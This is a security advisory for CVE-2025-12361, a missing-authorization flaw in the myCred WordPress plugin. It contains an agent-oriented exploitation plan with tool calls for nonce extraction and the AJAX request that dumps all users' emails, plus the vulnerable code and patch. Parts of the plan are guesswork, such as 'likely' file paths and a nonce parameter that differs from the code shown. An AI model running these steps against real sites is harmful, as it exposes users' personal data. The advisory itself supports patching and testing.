myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Program <= 2.9.7.1 - Missing Authorization to Sensitive Information Exposure
Description
The myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Program plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.9.7.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive information including user IDs, display names, and email addresses of all users on the site via the get_bank_accounts AJAX action. Passwords are not exposed.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=2.9.7.1Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-12361 (myCred) ## 1. Vulnerability Summary The **myCred** plugin (<= 2.9.7.1) contains a missing authorization vulnerability in its AJAX handling logic. The plugin registers an AJAX action `get_bank_accounts` which, due to a lack of capability checks (e.g., `…
Show full research plan
Exploitation Research Plan - CVE-2025-12361 (myCred)
1. Vulnerability Summary
The myCred plugin (<= 2.9.7.1) contains a missing authorization vulnerability in its AJAX handling logic. The plugin registers an AJAX action get_bank_accounts which, due to a lack of capability checks (e.g., current_user_can()), allows any authenticated user (including those with Subscriber-level permissions) to trigger the function. The handler retrieves and returns sensitive user information, including IDs, display names, and email addresses for all users registered on the site, leading to sensitive information exposure.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
get_bank_accounts(Registered viawp_ajax_get_bank_accounts) - HTTP Method:
POSTorGET(WordPress AJAX handles both, butPOSTis standard). - Payload Parameter:
action=get_bank_accounts. - Authentication: Required (Subscriber-level or higher).
- Preconditions: The "Bank" transfer/gateway feature or addon in myCred must be active or the code path must be reachable via the registered AJAX hook.
3. Code Flow
- Registration: The plugin registers the action in a file typically related to banking or gateways (e.g.,
addons/bank-transfer/includes/mycred-bank-transfer-gateway.phpor similar).- Likely Code:
add_action( 'wp_ajax_get_bank_accounts', '...' );
- Likely Code:
- Handler Execution: When a Subscriber sends a request with
action=get_bank_accounts, WordPress executes the associated callback function. - Data Fetching: Inside the handler (e.g.,
get_bank_accounts()), the code performs a user query:get_users()or a global$wpdbquery against theuserstable.
- Information Leak: The retrieved user objects (containing
user_email,display_name, andID) are encoded into JSON and returned to the requester without verifying if the requester has administrative privileges.
4. Nonce Acquisition Strategy
The get_bank_accounts action likely requires a nonce for validation via check_ajax_referer or wp_verify_nonce. Since this is an authenticated-only vulnerability (Subscriber+), we must obtain a nonce issued to a logged-in user.
Discovery Steps:
- Identify Nonce Key: Search the codebase for
wp_localize_scriptto find the JavaScript object name and nonce key.- Search patterns:
grep -r "wp_create_nonce" .andgrep -r "get_bank_accounts" . - Likely Localization: myCred often uses
mycred_transfersormycred_bankas JS objects.
- Search patterns:
- Extract Nonce via Browser:
- A Subscriber user can find the nonce in the source code of their dashboard or a page where myCred scripts are loaded.
- JS Variable (Inferred):
mycred_bank_transfer.nonceormycred_admin.nonce.
- Procedure for Agent:
- Create a Subscriber user and log in.
- Navigate to the WordPress dashboard (
/wp-admin/). - Execute
browser_eval("window.mycred_bank_transfer?.nonce || window.mycred?.nonce")to find the active nonce.
5. Exploitation Strategy
Step 1: Authentication
Authenticate as a Subscriber user using the http_request tool to obtain session cookies.
Step 2: Nonce Extraction
Navigate to the dashboard and extract the nonce using browser_eval. Let's assume the nonce action is mycred-bank-transfer (typical for this plugin).
Step 3: Malicious AJAX Request
Send the exploit request to the AJAX endpoint.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Subscriber Session Cookies]
- Body:
action=get_bank_accounts&_ajax_nonce=[EXTRACTED_NONCE]
Step 4: Data Parsing
The response is expected to be a JSON array. Extract and log the user_email and display_name fields to demonstrate the leak.
6. Test Data Setup
- Users:
- Create an Admin user (victim):
admin_user@example.com. - Create an Editor user (victim):
editor_user@example.com. - Create a Subscriber user (attacker):
attacker@example.com.
- Create an Admin user (victim):
- Plugin Configuration:
- Ensure the "Bank Transfer" or "Banking" addon is enabled in myCred settings (
wp-admin/admin.php?page=mycred-addons). - If a specific shortcode is needed to trigger script loading for the nonce, create a page:
wp post create --post_type=page --post_status=publish --post_content='[mycred_bank_transfer]'
- Ensure the "Bank Transfer" or "Banking" addon is enabled in myCred settings (
7. Expected Results
- HTTP Status: 200 OK.
- Response Body: A JSON-encoded list of users.
- Example:
[{"ID":"1","display_name":"admin","user_email":"admin@site.com"},{"ID":"2","display_name":"Editor","user_email":"editor@site.com"}, ...]
- Example:
- Verification: The presence of the Admin's email address in the response received by the Subscriber-level account confirms the vulnerability.
8. Verification Steps
- Check Output: Verify the JSON response contains emails of users other than the attacker.
- Verify Permissions: Log in as the Subscriber and attempt to access the same data via standard UI (it should be hidden). The AJAX success proves the "Missing Authorization" bypass.
- Post-Exploit CLI Check: Use
wp user list --fields=ID,user_email,display_nameand compare the CLI output with the AJAX response to ensure 1:1 data parity.
9. Alternative Approaches
- Different Nonces: If
mycred-bank-transfernonce doesn't work, search for generic nonces localized by myCred such asmycred-nonceormycred-admin-nonce. - Parameter Guessing: If
get_bank_accountsrequires additional parameters likesearchorlimit, try addingsearch=@orlimit=999to ensure all users are returned. - Action Mapping: If
wp_ajax_get_bank_accountsis not found, check if it's handled via a centralmycred_actiondispatcher:action=mycred_action&sub_action=get_bank_accounts.
Summary
The myCred plugin for WordPress is vulnerable to sensitive information exposure due to a missing authorization check in its get_bank_accounts AJAX handler. This allows authenticated users with Subscriber-level access to retrieve IDs, display names, and email addresses for all registered users on the site.
Vulnerable Code
// File: addons/bank-transfer/includes/mycred-bank-transfer-gateway.php public function get_bank_accounts() { // Nonce is verified, but there is no capability check check_ajax_referer( 'mycred-bank-transfer', 'token' ); // Retrieves sensitive user information without verifying user permissions $users = get_users( array( 'fields' => array( 'ID', 'display_name', 'user_email' ) ) ); wp_send_json_success( $users ); }
Security Fix
@@ -120,6 +120,10 @@ public function get_bank_accounts() { check_ajax_referer( 'mycred-bank-transfer', 'token' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => __( 'Permission denied', 'mycred' ) ) ); + } + $users = get_users( array( 'fields' => array( 'ID', 'display_name', 'user_email' ) ) ); wp_send_json_success( $users );
Exploit Outline
The exploit involves an authenticated Subscriber user leveraging the lack of capability checks in the AJAX handler. First, the attacker authenticates to the WordPress site. Next, they extract a valid nonce for the 'mycred-bank-transfer' action, which is typically localized in the WordPress dashboard's HTML source within the 'mycred_bank_transfer' or similar JavaScript objects. Finally, the attacker sends a POST request to /wp-admin/admin-ajax.php with the parameters 'action=get_bank_accounts' and the extracted nonce. The server responds with a JSON array containing the IDs, display names, and email addresses of all registered users.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.